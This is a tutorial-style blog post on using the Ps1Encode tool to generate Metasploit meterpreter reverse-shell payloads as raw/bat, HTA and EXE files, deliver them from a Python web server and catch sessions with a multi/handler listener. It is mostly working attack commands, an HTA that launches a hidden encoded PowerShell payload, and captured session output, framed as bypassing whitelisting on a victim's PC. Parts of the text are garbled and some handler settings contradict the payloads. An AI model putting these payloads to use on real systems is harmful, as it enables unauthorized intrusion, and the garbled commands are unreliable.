## Generate Metasploit Payload with Ps1encode



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Raj August 15, 2018

In this article, we will learn the Ps1Encode tool and how to use it by generating malware in different file formats such as HTA, EXE, etc.

## Introduction

The working code of Ps1Encode is developed by Piotr Marszalik, Dev Kennedy with few others. Ps1Encode is used to generate a malicious payload in order to generate a meterpreter session. While generating the payload, it will encode it too. It is a different way to bypass Whitelisting and security on the target system. It's developed in ruby and allows us to create a series of payloads which are based on Metasploit but can be prepared in any format we desire. The final aim is to get a PowerShell running and execute our payload through it.

There are various formats for our malware that are supported by Ps1Encode are the following:

- raw (encoded payload only no powershell run options)
- cmd (for use with bat files)
- vba (for use with macro trojan docs)
- vbs (for use with vbs scripts)
- war (tomcat)
- exe (executable) requires MinGW x86 64-w64-mingw32-gcc [apt-get install mingw-w64]
- java (for use with malicious java applets)
- js (javascript)
- js-rd32 (javascript called by rundll32.exe)
- php (for use with php pages)
- hta (HTML applications)
- cfm (for use with Adobe ColdFusion)
- aspx (for use with Microsoft ASP.NET)
- Ink (windows shortcut requires a webserver to stage the payload)
- sct (COM scriptlet requires a webserver to stage the payload)

You can download Ps1Encode from <a href="here">here</a> using git clone command as shown in the image below:

```
ali:~# git clone https://github.com/CroweCybersecurity/pslencode
Cloning into 'pslencode'...
emote: Enumerating objects: 116, done.
emote: Total 116 (delta 0), reused 0 (delta 0), pack-reused 116 Receiving objects: 100% (116/116), 37.41 KiB | 139.00 KiB/s, done.
esolving deltas: 100% (39/39), done.
```

Once it's downloaded, let's use the help command to check the syntax that we have to use. Use the following set of commands for that :

```
cd ps1encode/
ls
./ps1encode.rb -h
```

Following are the syntaxes that we can use :

-i: defines localhost IP

-p: defines localhost port value

-a: defines payload value

-t: defines the output format

Now, we will generate a malicious raw file using the following command:

./ps1encode.rb -I 192.168.1.107 -p 8000 -a windows/meterpreter/reverse\_https

Copy the code generated using the above command in the file with the extension.bat. and then share it by using the python server. You can start the server using the following command:

python -m SimpleHTTPServer 80

```
root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
```

Simultaneously, start the multi handler to have a session with the following set of commands:

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
lport 8000
exploit
```

```
<u>nsf5</u> > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 192.168.1.107
lhost => 192.168.1.107
 <u>sf5</u> exploit(multi/handler) > set lport 8000
 .
<u>nsf5</u> exploit(multi/handler) > exploit
[*] Started HTTPS reverse handler on https://192.168.1.107:8000
[*] https://192.168.1.107:8000 handling request from 192.168.1.104; (UUID: 6mr2h27m) Stag
[*] Meterpreter session 1 opened (192.168.1.107:8000 -> 192.168.1.104:50271) at 2019-02-
 <u>meterpreter</u> > sysinfo
Computer
                   : DESKTOP-2KSCK6B
                    : Windows 10 (Build 10586).
 Architecture
                  : x64
 System Language : en US
 omain
                      WORKGROUP
Logged On Users : 2
                      x86/windows
 leterpreter
 eterpreter >
```

Once the file is executed in the victims' PC, you will have your session as shown in the image above. Now we will generate our malware in the form of HTA file. Use the following command to generate the HTA file:

```
./ps1encode.rb -i 192.168.1.107 -p 4444 -a windows/meterpreter/reverese_tcp -t hta
```

Following script will be created due to the above command, send this file to the victim's PC using python server like before.

```
Intml>
<head>
<script language="VBScript">
        Set objShell = CreateObject("Wscript.Shell")
        objShell.Run "powershell -nop -win Hidden -noni -enc JAAXACAAPQAgACcAJABjACAAPQAg
</script>
</head>
<body>
<!-- info -->
</body>
</html>
```

Simultaneously, start the multi handler to have a session with the following set of commands:

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
set lport 8000
exploit
```

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.107
lhost => 192.168.1.107
 nsf5 exploit(multi/handler) > set lport 4444
lport => 4444
 nsf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.107:4444
[*] Sending stage (179779 bytes) to 192.168.1.104
[*] Meterpreter session 1 opened (192.168.1.107:4444 -> 192.168.1.104:50332) at 2019-02
 <u>neterpreter</u> > sysinfo
Computer
                     : DESKTOP-2KSCK6B
                     : Windows 10 (Build 10586).
Architecture
 System Language :
                       en US
                     : WORKGROUP
 omain
Logged On Users : 2
 leterpreter
                     : x86/windows
  eterpreter >
```

Once the file is executed in the victims' PC, you will have your session as shown in the image above. Now we will try and generate an EXE file with the following:

```
./ps1encode -i 192.168.1.107 -p 4444 -a windows/meterpreter/reverse_tcp -t exe
```

```
root@kali:~/pslencode# ./pslencode.rb -i 192.168.1.107 -p 4444 -a windows/meterpreter/reverse_tcp -t exe
No encoder or badchars specified, outputting raw payload
Payload size: 283 bytes
compiling...
final_.exe created!
root@kali:~/pslencode# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
```

Send this file to the victim's PC using python server like before a shown in the image above. Simultaneously, start the multi handler to have a session with the following set of commands:

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
set lport 8000
exploit
```

```
<u>msf5</u> > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.107
lhost => 192.168.1.107
<u>nsf5</u> exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.107:4444
[*] Sending stage (179779 bytes) to 192.168.1.104
[*] Meterpreter session 2 opened (192.168.1.107:4444 -> 192.168.1.104:50388) at 20
<u>meterpreter</u> > sysinfo
                    : DESKTOP-2KSCK6B
Computer
                    : Windows 10 (Build 10586).
Architecture
System Language : en US
                    : WORKGROUP
 omain
Logged On Users : 2
                    : x86/windows
 leterpreter
 <u>eterpreter</u> >
```

This way, you can use Ps1Encode to generate files in any format. As you can see, it's pretty simple and convenient along with being user-friendly. Possibilities with Ps1Encode are endless.

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